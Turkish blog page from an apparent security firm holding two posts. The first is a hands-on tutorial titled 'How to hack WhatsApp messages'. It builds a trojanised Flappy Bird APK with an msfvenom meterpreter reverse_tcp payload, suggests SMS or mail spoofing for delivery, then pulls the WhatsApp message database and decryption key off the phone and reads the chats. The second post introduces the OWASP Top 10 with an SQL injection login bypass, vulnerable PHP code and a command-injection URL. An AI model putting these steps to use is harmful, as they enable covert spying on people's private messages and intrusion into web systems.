Blog

Whatsapp Mesajları Nasıl Hacklenir ?

Teknolojinin gelişmesi ile birlikte artık 7’den 70’e herkes siber dünyada farkında olmadan kendine özel bir alan oluşturmaya başlamıştır. İş hayatı, gündelik hayat, vb. süreçlerde teknoloji ile içi içe olmanın ve işlerimizin kolaylaştırılmasıyla birlikte birçok tehlike de yanında gelmektedir.

Bu blog yazımızda gündelik hayatımızda hepimizin kullandığı “Whatsapp Messenger” uygulamasındaki mesajların nasıl ele geçirilebildiği ve hackerların bu süreçde hangi teknikleri kullandığını uygulamalı bir şekilde işleyeceğiz.

Lab Bilgileri

Saldırgan Sistem: Kali Linux 2020.04

Hedef Sistem: Nox Player – Android 5.1.1

Amaç ve Senaryo

Gerçekleştireceğimiz saldırı similasyonunda hedef sisteme *.apk uzantılı bir oyunun içerisine enjekte edilmiş zararlı bir *.apk dosyası gönderilerek hedef sistem ele geçirilecektir. Bu süreçte saldırgan oluşturmuş olduğu zararlı yazılımı web sunucusu üzerinden göndermiştir. Eğer istenilirse “SMS Spoofing, Mail Spoofing, vb.” sosyal mühendislik teknikleri kullanılarakda gönderilebilir.

Kullanılan Araçlar

  • Metasploit
  • Msfvenom
  • Apktool
  • Jarsigner
  • Zipalign
  • Nox Player

Metasploit

Sızma testi çalışmalarında, güvenlik açıklıkları tespit etmek için, exploitation (sızma & istismar) süreçlerinde kullanmak için ve bilgi toplama, vb gibi güvenlik testlerinde kullanılan frameworküdür.

Msfvenom

Metasploit freamwork çatısı altında geliştirmiş olan bir araçtır. Msfvenom ile birçok platforma yönelik zararlı yazılımlar geliştirebilir ve shellcode üretme gibi işlemler gerçekleştirebilirsiniz.

Apktool

Apktool, geliştirmiş olduğunuz veya hali hazırdaki *.apk dosyalarını okumanıza, yönetmenize, derlemenize ve imzlama yapmanıza olanak sağlayan bir araçtır.

Jarsigner

Derlenen bir *.apk dosyasını android sistemde çalıştırmak için imzalama işlemi gerçekleştiren bir uygulamadır.

Zipalign

Android uygulama (APK) dosyalarına önemli optimizasyon sağlayan bir arşiv hizalama aracıdır. Amaç, sıkıştırılmamış tüm verilerin dosyanın başlangıcına göre belirli bir hizalamayla başlamasını sağlamaktır.

Nox Player

Bilgisayar ortamında kullanbileceğiniz sanal android emilatör yazılımdır.

Uygulamamıza başlamada önce bazı kurulumlar yapmamız gerekmektedir. Bunun için kullanmış olduğumuz linux işletim sistemini “apt-get update” komutu ile güncelleştirmeleri indirmemiz gerekmektedir.

Güncelleştirme başarı ile gerçekleştirildikten sonra “apt-get install apktool” komutu ile apktool kurulumu gerçekleştirilir.

“apt-get install default-jdk” komutu ile jarsigner kurulumu gerçekleştirilir.

“apt-get install zipalign” komutu ile zipalign kurulumu gerçekleştirilir.

Gerekli araç kurulumlarından sonra bulunduğumuz dizinde “flappy.apk” adında zararsız bir oyun dosyası bulunmaktadır.

Msfvenom aracında faydalanarak flappy.apk adlı zararsız dosyamızın içerisine zararlı kod enjekte ederek bağlantı alabileceğimiz bir dosya oluşturmamız gerekmektedir. Bunun için “msfvenom –x zararsız_uygulama.apk –p android/meterpreter/reverse_tcp LHOST=<Saldırgan IP> LPORT=<Saldırgan Port> -o Yeni_Zararlı_Uygulama_ismi.apk” şeklinde oluşturulur.

Enjekte işlemi gerçekleştirildikden sonra bulunduğumuz dizinde “ls-la” komutu ile enjekte edilmiş zararlı uygulamamız “bind_emasecurity.apk” şeklinde görmekdeyiz.

Oluşturmuş olduğumuz zararlı yazılımı hedef sisteme göndermeden önce metasploitin “handler” modülü yardımı ile msfvenomde belirtmiş olduğumuz LHOST ve LPORT bilgilerini gelen oturumu karşılayabilmek için dinlemeye almamız gerekmektedir. Bunun için “msfconsole” komutu ile metasploit çalıştırılır ve “use exploit/multi/handler” komutu ile handler modülünün dizinine erişilir. Handler modülüne erişildikten sonra bir payload ataması yapılması gerekilmektedir, çünkü handler modülü birçok platforma yönelik dinleme yapabilme özelliğine sahiptir. Msfvenomda belirtilen android payload “set PAYLOAD android/meterpreter/reverse_tcp” komutu ile tanımlanır ve “set LHOST <Saldırgan IP” “set LPORT <Saldırgan Port>” şeklinde dinleme yapılacak ip ve port bilgisi belirtilir. Son olarak dinlemeye almak için “exploit” komutu çalıştırılır.

Saldırgan zararlı yazılımı göndermek için kendisini bir web yayını yapmaktadır. Görüldüğü gibi kullanıcı tarayıcı üzerinden saldırganın oluşturmuş olduğu zararlı “bind_emasecurity.apk” dosyasını download etmektedir.

İndirilen zararlı yazılım çalıştırıldığında aşağıdaki gibi kurulum işlemi gerçekleştirilmektedir. Her uygulamada olduğu gibi bazı izinler vermesi gerektiğini ve yüklenen uygulamanın nelere erişimi olacağını kullanıcıya bildirmektedir. Günümüzde kullanmış olduğumuz uygulamarda artık hemen hemen belirtilen izinleri istediği için hedef sistemin veya kullanıcının şüphelenme olanağıda azdır.

Hedef sistemin & kullanıcının uygulamayı kurması sonucunda aşağıdaki gibi “Flappy Bird” uygulaması görülmektedir.

Kullanıcı uygulamayı çalıştırdığında karşısına şüpheleneceği herhangi bir sorun çıkmadığı aşağıdaki görselde gözükmektedir.

Kullanıcının “Flappy Bird” uygulamasını çalıştırması ile birlikte saldırganın dinleme yapmış olduğu satıra bir meterpreter oturumu geldiğini ve sisteme sızdığımız “sysinfo” komutu ile görmekdeyiz.

Ele geçirilen sistemin root haklarında çalışıp çalışmadığını kontrol etmek amacı ile meterpreter oturumunda “check_root” komutunu kullanmakdayız. Görüldüğü gibi “Device is rooted” yazısı ile ele geçirilen cihazın root haklarında çalıştığını doğruladık. Eğer ele geçirmiş olduğunuz system root haklarında değil ise privilege escalation (yetki yükseltme) saldırılarına bakmanız gerekmektedir.

“pwd” komutu ile oturum elde ettiğimiz dizine baktığımızda uygulamanın kurulu olduğu dizini görmekdeyiz. Fakat whatsapp veritabanı dosyaları genellikle sdcard dizininde tutulmakatdır. Bunun için “cd ..” komutunu kullanarak  bir alt dizine inmemiz gerekmektedir.

“cd sdcard” komutu ile sdcard klasörüne erişim sağladıkdan sonra diğer klasörleri görüntülemek için “ls” komutunu kullandığımızda “Whatsapp” klasörünü görmekdeyiz

Whatsapp klasörüne erişmek için “cd Whatsapp” komutunu kullanarak erişim sağlamakdayız. “ls” komutu ile klasördeki diğer klasörleri görüntülediğimizde “Databases” klasörünü görmekdeyiz.

“cd Databases” komutu ile databases klasöründeki dosyaları görüntülemek için “ls” komutunu kullandığımızda aşağıdaki görselde görüldüğü gibi “msgstore-2021-ay-gün.db.crypt12” adında dosyaları görüntülemekdeyiz.

En güncel mesajların veritabanını almak için yıl/ay/gün şeklinde olan dosyayı “download msgstore-2021-02-20.1.db.crypt12” şeklinde saldırgan makinemize indiriyoruz.

Whatsapp mesajlarının tutulduğu şifreli veritabanını ele geçirdik evet ama bu veritabanında bulunan mesajları okuyabilmek için bir decrypt key anahtarına ihtiyacımız bulunmaktadır. Genellikle android sistemlerde whatsapp key anahtarının dizin yolu “/data/data/com.whatsapp/files” şeklindedir. Meterpreter satırında “shell” komutunu kullanarak sistemin komut satırına eriştiğimizde “cd /data/data/com.whatsapp/files“ dizinine geçiş sağlayarak “ls” komutunu kullandığımızda “KEY” dosyasını görmekdeyiz. Key dosyasını meterpreter satırı üzerinde indirmek için bulduğumuz dizin üzerinde “cp key /storage/emulated/legacy” komutunu kullanarak sdcard dizinine key dosyasını kopyalıyoruz.

CTRL + C kombinasyonları ile shell satırından çıkarak meterpreter satırı üzerinden “cd /storage/emulated/legacy” dizinine eriştiğimizde “key” dosyasının başarılı bir şekilde kopyalandığını görmekdeyiz. Key dosyasını saldırgan makinasına indirmek için “download key” komutunu kullanarak başarılı bir şekilde dosyayı indirdiğimizi görmekdeyiz.

Tüm verileri ele geçirdikten sonra kali makinamızda ele geçirdiğimiz şifreli veritabanı ve key anahtarını görmekdeyiz.

Ele geçirilen veritabanı ve key dosyasını açabilmek için windows sistemlerde kullanbileceğimiz “Whatsapp Viewer” aracından faydalanacağız. Aracımızın görüntüsü aşağıdaki gibidir;

Saldırgan makinamızdaki dosyaları windows makinamıza transfer ettikden sonra “File” sekmesine tıklayarak “Decrypt .crypt12..” butonuna tıklamamız gerekmektedir.

Karşımıza çıkan pencerede “Database File” sekmesine “msgstore-2021-02-20.1.db.crypt12” dosyasımızı seçiyoruz. Aynı şekilde “Key File” kısmında key dosyasımızı seçmemiz gerekmektedir. Tüm bu adımlardan sonra “Ok” butonuna tıklanır.

“Ok” butonuna tıklandıktan sonra decrypt işleminin başarılı bir şekilde gerçekleştiğine dair karşınıza bir bilgi ekranı çıkacaktır ve “Whatsapp Viewer” dosyasını çalıştırdığınız klasörde “msgstore.decrypt.db” adında bir dosya oluşturulacaktır.

Oluşturlan “msgstore.decrypt.db” dosyasını “File” sekmesinde bulunan “Open” butonuna tıklayarak “File” bölümünde seçmeniz ve “OK” butonuna tıklamanız yeterli olacaktır.

Görüldüğü gibi sol bölümde mesajlaşılan kişinin Numara bilgisi ve sağ tarafdaki bölümde konuşmalar gözükmektedir.

Kullanıcıdaki whatsapp konuşması bknz;

Ek olarak mesajları html  formatından görüntülemek isterseniz alt sekmede bulunan “Export .html” butonuna tıklayarak dosya ismi belirtebilir ve “save” butonuan tıklayarak export işlemini gerçekleştirebilirsiniz.

Kayıt edilen html dosyasının çıktısı aşağıdaki gibidir bknz;

Bir sonraki blog yazısında görüşmek üzere..

read more

Web Uygulama Güvenlik Açıklıklarına Giriş

Web Uygulama Güvenlik Açıklıklarına Giriş

İnternetin hızla tüm alanlarda faaliyet göstermesi, güvenlik problemlerini de beraberinde getirmektedir. Web sitelerinin, web uygulamalarının ve web hizmeti için kullanılan ek servislerin güvenlik açıklıkları saldırılar için açık bir hedef oluşturmaktadır.

Günümüzde en çok kullanılan güvenlik açıklıkları “OWASP TOP 10” listesi ile açıklanmaktadır. OWASP (Open Web Application Security Project) kar amacı gütmeyen, web uygulama güvenliği ile ilgilenen bir topluluktur. Her sene, saldırganların en çok kullandığı güvenlik açıklıklarını TOP 10 listesiyle sunmaktadır. Tabi bu liste dışında kullanılan birçok yöntem de mevcut. Fakat web uygulamalarında en sık karşılaşılan saldırı tipleri aşağıdaki gibidir;

Injection: Uzun süredir TOP 10 listesinin birinci sırasındadır. SQL Injection ve Command Injection en popülerleridir. Temel olarak web uygulamalarında, girdiler üzerinden arka plandaki çalışan kod parçasına, zararlı kod enjekte ederek oluşur. Ufak bir örnek ile daha anlaşılır olacaktır.

  • SQL Injection: Web uygulamalarında SQL sorguları, kullanıcıdan aldığı veriyi veritabanında sorgulayıp sonuç/veri döndüren kod parçacıklarıdır. Kullanıcıdan alınan veri (kullanıcı adı, kitap ID numarası vb) arka planda kontrolsüz bir şekilde SQL sorgusuna verildiğinde bu sorgu manipüle edilebilir hal almaktadır. Örn; www.example.com/login.php gibi bir giriş sayfası olsun. Bu sayfanın arka planda yaptığı iş, kullanıcı adı ve parola bilgilerini alıp veritabanında sorguladıktan sonra giriş işlemini yapmak. “SELECT * FROM users WHERE username=’test’ AND password=’test'”. Biz bu sorguyu -> “SELECT * FROM users WHERE username=” OR 1=1 # ….” şeklinde çalışmasını sağlarsak login işlemini başarıyla geçmiş oluruz. <‘ OR 1=1 # > sorguyu manipüle etmeyi sağlar. 1=1 ile sorgunun true sonuç vermesini sağlamış bulunmaktayız. Bu örneği aşağıdaki link üzerinden canlı olarak test edebilirsiniz. Sadece username kısmına payload’ı yazıp login demeniz yeterli. http://testphp.vulnweb.com/login.php
  • Bir diğer SQL Injection zafiyetinin kullanıldığı yöntem, yine kontrolsüz bir sorgu üzerinden veritabanındaki diğer tabloları okumamızı sağlamaktadır.
  • Command Injection: Kontrolsüz bir kod bloğunun çalışmasıyla oluşan zafiyet türüdür. Kullanıcıdan alınan parametre sistem komutu olarak kullanıldığında oluşan zafiyet türüdür. Örn; klasik ping atmayı sağlayan bir web sayfası, “www.example.com/ping.php?ip=8.8.8.8” Bu sayfa kullanıcıdan IP adresini parametre olarak almaktadır. Arka planda çalışan kod aşağıdaki gibdir ;

               <?php

               //

               $parametre = $_GET[“ip”];

               system(“ping $parametre”);

               //

               ?>

Herhangi bir kontrol olmadığından saldırgan, parametre olarak ip adresi ile birlikte başka sistem komutları da çalıştırabilmektedir. Örn; “www.example.com/ping.php?ip=8.8.8.8; pwd” ping atma komutu çalıştıktan sonra pwd komutu da çalışabilmektedir. Pwd yerine bilgi çalabileceği veya sisteme sızmasını sağlayan komutları da çalıştırabilmektedir.

Broken Authentication: Genellikle kimlik doğrulama ya da oturum yönetimi ile ilgili fonksiyonların yanlış uygulanması sonucunda ortaya çıkar.

Bir kullanıcı bir sisteme giriş yaptığında kullanıcıya bir oturum id (session id) atanmaktadır. Bu session id değeri saldırgan tarafından kullanıcıya gönderilip, kullanıcının bu id ile giriş yapmasını bekler. Kullanıcı bu id ile sisteme giriş yaptığında saldırgan da sisteme o kullanıcıymış gibi girebilmektedir.

Bir diğer yöntem de tahmin edilebilir oturum yöntemidir. Servis üzerinden atanan id değerleri kullanıcılar arasında belli aralıklarla artıyor veya kullanıcıların isimlerine göre oluşturuluyorsa bunun üzerinden tahmin yürütülerek kullanıcının hesabı ele geçirilebilir.

Sensitive Data Exposure: Türkçe karşılığı Hassas Verilerin İfşası olarak çevrilebilir. Bu açıklık genel olarak http request yani http istek gönderiminde verilerin şifrelenmeden, clear text olarak gönderilmesinden veya çözülmesi kolay şifreleme metotlarından kaynaklı oluşan zafiyet türüdür. Sql injection zafiyetiyle birlikte veritabanın ele geçirilmesi ile de ortaya çıkabilir. Önemli bilgiler veritabanında zayıf şifreleme veya hiç şifrelenmemesiyle oluşur.

Daha anlaşılır olması için şöyle anlatmakta fayda var. Kullanıcı bir sisteme login işlemi olurken kullanıcı bilgileri açık bir şekilde sunucuya yollanırsa, aynı ağda bulunan saldırgan ağı dinleyerek verileri ele geçirebilir. Facebook, twitter gibi sistemler bu işlemi güçlü şifreleme algoritmaları ile korumakta. Fakat bir çok sistemde karşılaşılabilen açıklıklardandır.

XML External Entities (XXE): Son zamanlarda xml formatını kullanan sistemlerde sıkça karşılaşılabilen zafiyet türüdür. Eski ve zayıf yapılandırılmış XML yapılarının manipüle edilerek, harici zararlı kod ilave edilmesiyle oluşmaktadır. Örn; kullanıcıdan aldığı verileri XML olarak işleyen ve ekrana basan bir sistem düşünelim. HTTP Request işlemi sırasında XML formatında veriler gönderildiği için bu XML formatına <!ENTITY….> kod ekleyerek sistemden dosya okuyabilir, uzaktan kod çalıştırabilir hale gelmektedir.

Broken Access Control: Bu açıklık, sistem kullanıcılarının yetkilendirme işlemlerinin eksik yapılmasından kaynaklanmaktadır. Daha anlaşılır bir tabirle moderatör, admin vb. gibi üst yetkili kullanıcıların yapabileceği işlemleri, görüntülemeleri normal bir kullanıcının yapabiliyor olmasıdır. Örn; sistem kullanıcılarının bilgilerinin listelendiği bir sayfa olsun. www.example.com/user.php?adi=ahmet. Normal şartlarda bu sayfayı sadece admin ve ahmet görüntüleyebiliyor olması gerekmektedir. Fakat arka planda yetkilendirme işleminin yanlış veya hiç yapılmamasından kaynaklı olarak “Enes” kullanıcısı bu sayfaya erişebilir ve ahmet kullanıcısına ait bilgileri görüntüleyebilir.

Security Misconfiguration: Servis ayarlarının güvensiz default ayarları, geçici veya eksik yapılandırılması ile oluşabilen açıklık türüdür. Sistem üzerinden çalışan servislerin eski sürümlerinin çalıştırılması, kullanılmayan zafiyetli eklentilerin varlığını sürdürmesi/silinmemesi veya default kullanıcıların (admin:admin gibi) hala kullanılıyor olması bu güvenlik açığına örnek gösterilebilir.

Cross-Site Scripting XSS: Bir web uygulaması üzerinde kullanıcıdan alınan verilerin kontrolsüz, filtresiz olarak işlenmesinden kaynaklı oluşan açıklıklardır. Saldırganlar girdiler(input) üzerinden zararlı javascript kodu çalıştırarak diğer kullanıcıların oturumlarını ele geçirebilmektedir. 3 farklı XSS türü bulunmaktadır.Reflected XSS: Kullanıcıdan alınan veriler sadece o anlık çalışmayı sağlamaktadır. XSS payloadı sunucu tarafında işlenmediği için bu saldırı türü daha çok zararlı link oluşturularak normal kullanıcıya tıklatılması sonucu oluşmaktadır. Saldırganın normal kullanıcıya zararlı link tıklatarak oturum çalabilir. Bu saldırı metodu saldırganın sosyal mühendislik becerisine göre amacına ulaşabilir. Çünkü normal kullanıcı ile etkileşime girmesi gerekmektedir (Linke tıklatma).

Stored XSS: Sunucu tarafında kayıt altına alınan, kaydedilen açıklık türüdür. Yani zararlı XSS payload’ının veritabanına kaydedilmesi ve kaydedilen tablonun bir web sayfasında gösterilmesi ile oluşur. Sayfa her çalıştığında zararlı XSS payload’ı da çalışmaktadır. Sayfayı görüntüleyen her kullanıcı bu saldırıdan etkilenmektedir.

  • DOM Based XSS: DOM tabanlı XSS türüdür. DOM kısaca web sayfası içerisinde herhangi bir nesnenin özelliğine müdahale edebilmemize olanak sağlar. Bu müdahale, sayfanın yapısına göre Reflected veya Stored saldırısı mantığında işler. DOM Based XSS denmesinin sebebi DOM kaynaklı olmasından gelmektedir.

Insecure Deserialization: Temel olarak serialize edilmiş bir verinin deserialize edilmesiyle oluşabilecek problemlerin genel adıdır. Serialize, bir nesnenin saklanacak/transfer edilecek forma dönüştürülmesine denir. En bilindikleri yöntemler Json ve xml denilebilir. Deseriazalization, serialize edilmiş bilginin tekrar nesneye çevrilmesidir. En bilindik örneği yml dosyaları içinde json kod parçası eklenip deserialize edildiği zaman otomatik çalışır hale gelmektedir. Bu da uzaktan kod çalışmayı etkin kılmaktadır.

Using Components with Known Vulnerabilities: Adından da anlaşılacağı üzere bu zafiyet türü kullanılan servislerin, uygulamaların, eklentilerin eski ve bilindik exploitleri olan sürümlerinin kullanılması sonucu oluşuyor. Birçok web sayfası hali hazırda çalışan sistemlerinin yeni gelen güncellemelerle bozulması, istenildiği gibi çalışamaması, eklentilerin güncel sisteme uyum sağlayamaması sebebiyle eski sürümleri kullanmaya devam edebilmektedir. Bu da saldırganların sistemleri ele geçirmesini kolaylaştırmaktadır.

Bu blog Yalova Üniversitesi Bilgisayar Mühendisliği Bölümü öğrencisi stajyerimiz Abdullah TUTAR tarafından yazılmıştır.

read more